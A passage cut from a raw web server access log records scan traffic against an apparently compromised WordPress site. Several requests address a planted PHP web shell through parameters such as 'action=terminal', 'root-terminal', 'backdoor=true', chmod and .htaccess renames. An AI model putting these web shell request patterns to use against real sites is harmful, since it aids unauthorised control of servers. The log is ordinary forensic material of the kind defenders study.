(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.178.254.139 - - [17/Nov/2025:12:37:07 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/includes/jcfxeds/wp-adminaa/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:37:07 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=assets&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6373732f706c7567696e732f7369746573656f HTTP/2" 200 3233 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:09 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f6a73 HTTP/2" 200 3286 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.189.229.82 - - [17/Nov/2025:12:37:09 +0000] "GET /assets/fonts/includes/jcfxeds/wp-adminaa/jcfxeds/wp-adminaa/ HTTP/1.1" 200 628 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.141 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:37:11 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=pagelayer&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3386 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.186.196.163 - - [17/Nov/2025:12:37:12 +0000] "GET /assets/assets-20251112184145/wp/network/includes/wp/mfKCGzdJq.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.162.54.157 - - [17/Nov/2025:12:37:13 +0000] "GET /assets/backuply/network/js/includes/jcfxeds/wp-adminaa/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/93.3.3695.30" 74.7.227.184 - - [17/Nov/2025:12:37:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c75646573 HTTP/2" 200 3308 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.227.192.172 - - [17/Nov/2025:12:37:13 +0000] "GET /assets/assets-20251112184145/includes/includes/jcfxeds/wp-includes/wp-contentaa/ HTTP/1.1" 200 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/92.3.3357.27" 103.160.182.180 - - [17/Nov/2025:12:37:14 +0000] "GET /assets/backuply/wp-adminaa/js/includes/jcfxeds/wp-content/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) AvastSecureBrowser/5.3.1 Mobile/15E148 Version/17.0 Safari/605.1.15" 113.169.210.142 - - [17/Nov/2025:12:37:14 +0000] "GET /assets/backuply/jquery/wp-adminaa/wp-adminaa/wp-adminaa/includes/ HTTP/1.1" 200 1085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/93.3.3695.30" 74.7.227.184 - - [17/Nov/2025:12:37:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3115 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.22.183.37 - - [17/Nov/2025:12:37:16 +0000] "GET /assets/upgrade/js/includes/css/js/jquery/ HTTP/1.1" 200 628 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.65 Version/17.0 Mobile/15E148 Safari/604.1" 222.254.53.68 - - [17/Nov/2025:12:37:17 +0000] "GET /assets/backuply-20251107214702/wp/network/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:37:18 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6a636678656473 HTTP/2" 200 3276 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.169.189.212 - - [17/Nov/2025:12:37:18 +0000] "GET /assets/assets-20251112184145/js/assets/js/includes/xqsXVa.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 Ddg/17.0" 113.167.127.1 - - [17/Nov/2025:12:37:02 +0000] "GET /assets/backuply-20251107214702/network/js/includes/themes/twentytwentyfour/ HTTP/1.1" 200 680 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.18.230.57 - - [17/Nov/2025:12:37:02 +0000] "GET /assets/blocks/includes/js/includes/jcfxeds/ysouwxa/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1" 14.183.59.204 - - [17/Nov/2025:12:37:05 +0000] "GET /assets/img/network/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 GLS/100.10.9415.94" 181.46.66.167 - - [17/Nov/2025:12:37:07 +0000] "GET /assets/backuply/network/js/includes/wp/mfKCGzdJq.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.191.191.213 - - [17/Nov/2025:12:37:08 +0000] "GET /assets/backuply/includes/css/themes/twentytwentyfive/assets/ HTTP/1.1" 200 637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 123.19.69.106 - - [17/Nov/2025:12:37:10 +0000] "GET /assets/fonts/js/includes/plugins/backuply/assets/ HTTP/1.1" 200 626 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 113.178.92.119 - - [17/Nov/2025:12:37:10 +0000] "GET /assets/backuply-20251107214702/jquery/css/themes/twentytwentyfive/assets/ HTTP/1.1" 200 651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.22.188 - - [17/Nov/2025:12:37:12 +0000] "GET /assets/assets-20251112184145/wp/js/includes/css/js/ HTTP/1.1" 200 651 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.150 Version/17.0 Mobile/15E148 Safari/604.1" 113.189.199.115 - - [17/Nov/2025:12:37:15 +0000] "GET /assets/backuply-20251107214702/js/blocks/plugins/pagelayer/main/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 123.26.189.242 - - [17/Nov/2025:12:37:16 +0000] "GET /assets/plugins/js/includes/css/plugins/backuply/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.187.195.87 - - [17/Nov/2025:12:37:17 +0000] "GET /assets/css/js/includes/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Android 11; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 14.169.206.87 - - [17/Nov/2025:12:37:19 +0000] "GET /assets/assets-20251112184145/upgrade/js/js/includes/blocks/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.160.69.107 - - [17/Nov/2025:12:37:20 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/css/plugins/ HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.173.20.200 - - [17/Nov/2025:12:37:22 +0000] "GET /assets/backuply-20251107214702/wp/includes/themes/twentytwentyfour/assets/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 AtContent/95.5.5392.49" 14.247.127.166 - - [17/Nov/2025:12:37:22 +0000] "GET /assets/blocks/includes/js/js/js/js/ HTTP/1.1" 200 623 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 AtContent/95.5.5392.49" 14.179.110.227 - - [17/Nov/2025:12:37:19 +0000] "GET /assets/backuply-20251107214702/wp/network/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 696 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:37:20 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f626c6f636b73 HTTP/2" 200 3095 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 190.112.99.6 - - [17/Nov/2025:12:37:22 +0000] "GET /assets/includes/includes/css/themes/twentytwentyfive/assets/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.96 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:37:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f6373732f706c7567696e732f6261636b75706c79 HTTP/2" 200 3230 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6373732f706c7567696e732f706167656c617965722f6d61696e HTTP/2" 200 3231 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.169.106.8 - - [17/Nov/2025:12:37:25 +0000] "GET /assets/wp-includes/network/js/includes/includes/jcfxeds/ HTTP/1.1" 200 666 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.19.201.59 - - [17/Nov/2025:12:37:25 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/themes/twentytwentyfive/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (iPad; CPU OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:37:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=twentytwentyfive&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3279 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.23.105.92 - - [17/Nov/2025:12:37:27 +0000] "GET /assets/assets-20251112184145/includes/jcfxeds/jcfxeds/wp-content/wp-content/ HTTP/1.1" 200 653 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 41.163.7.223 - - [17/Nov/2025:12:37:27 +0000] "GET /assets/css/includes/jcfxeds/wp-contentaa/jcfxeds/jcfxeds/ HTTP/1.1" 200 626 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:37:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6373732f706c7567696e732f7369746573656f2f617373657473 HTTP/2" 200 3264 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:30 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f6a6366786564732f77702d696e636c75646573 HTTP/2" 200 3186 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:32 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f626c6f636b732f7770&rename=.htaccess HTTP/2" 200 3310 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a7175657279 HTTP/2" 200 3163 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:36 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a71756572792f7770 HTTP/2" 200 3302 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:39 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f626c6f636b732f7770 HTTP/2" 200 3355 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:41 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:42 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f706c7567696e73 HTTP/2" 200 3371 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:44 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a7175657279 HTTP/2" 200 3233 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:46 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6e6574776f726b2f7770 HTTP/2" 200 3323 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:37:49 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770 HTTP/2" 200 3355 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.245.162.40 - - [17/Nov/2025:12:37:51 +0000] "GET /assets/assets-20251112184145/includes/js/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 113.188.247.43 - - [17/Nov/2025:12:37:51 +0000] "GET /assets/backuply/wp-adminaa/wp-adminaa/network/wp/snCaPhB.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 187.146.37.150 - - [17/Nov/2025:12:37:52 +0000] "GET /assets/plugins/js/includes/includes/includes/includes/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (Android 8.1.0; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 74.7.227.184 - - [17/Nov/2025:12:37:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c75646573&rename=includes HTTP/2" 200 3273 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 181.46.139.98 - - [17/Nov/2025:12:37:52 +0000] "GET /assets/assets-20251112184145/js/assets/js/includes/blocks/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.180.211.233 - - [17/Nov/2025:12:37:53 +0000] "GET /assets/includes/js/js/includes/css/upgrade/ HTTP/1.1" 200 623 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Trailer/93.3.3516.28" 14.191.164.89 - - [17/Nov/2025:12:37:53 +0000] "GET /assets/wp/network/js/includes/js/jquery/ HTTP/1.1" 200 625 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:37:54 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f637373 HTTP/2" 200 3131 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.18.170.165 - - [17/Nov/2025:12:37:56 +0000] "GET /assets/backuply-20251107214702/js/js/includes/jcfxeds/wp-adminaa/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (iPad; CPU OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/605.1.15" 14.234.203.124 - - [17/Nov/2025:12:37:56 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/js/js/ HTTP/1.1" 200 675 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/116.0.1938.79 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:37:57 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f6373732f706c7567696e732f706167656c617965722f6d61696e HTTP/2" 200 3125 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 186.22.54.9 - - [17/Nov/2025:12:37:23 +0000] "GET /assets/assets-20251112184145/blocks/includes/css/upgrade/wp/ HTTP/1.1" 200 657 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Agency/98.8.8188.80" 14.191.154.13 - - [17/Nov/2025:12:37:23 +0000] "GET /jquery/css/backuply/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 197.113.183.76 - - [17/Nov/2025:12:37:25 +0000] "GET /assets/blocks/includes/js/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.244.212.101 - - [17/Nov/2025:12:37:50 +0000] "GET /assets/backuply/includes/includes/css/wp/eQssw.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 14.191.34.62 - - [17/Nov/2025:12:37:50 +0000] "GET /assets/backuply/jquery/includes/jcfxeds/wp-includes/wp-contentaa/ HTTP/1.1" 200 637 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.78 Version/17.0 Mobile/15E148 Safari/604.1" 113.191.130.242 - - [17/Nov/2025:12:37:51 +0000] "GET /assets/css/themes/twentytwenty/inc/backuply/wp/ HTTP/1.1" 200 704 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 190.139.77.38 - - [17/Nov/2025:12:37:51 +0000] "GET /assets/backuply-20251107214702/wp/includes/css/themes/twentytwentythree/ HTTP/1.1" 200 665 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 14.254.172.250 - - [17/Nov/2025:12:37:51 +0000] "GET /assets/includes/themes/twentytwentythree/styles/wp/uXPtIPr.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.21.24.11 - - [17/Nov/2025:12:37:52 +0000] "GET /jquery/wp-adminaa/upgrade/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.1.0" 14.168.147.236 - - [17/Nov/2025:12:37:55 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/includes/themes/ HTTP/1.1" 200 675 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 118.99.106.38 - - [17/Nov/2025:12:37:55 +0000] "GET /assets/assets-20251112184145/js/includes/css/blocks/wp/ HTTP/1.1" 200 660 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.31.187.107 - - [17/Nov/2025:12:37:55 +0000] "GET /assets/css/fonts/js/includes/jquery/ HTTP/1.1" 200 614 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.62 Mobile/15E148 Safari/604.1" 14.186.229.163 - - [17/Nov/2025:12:37:56 +0000] "GET 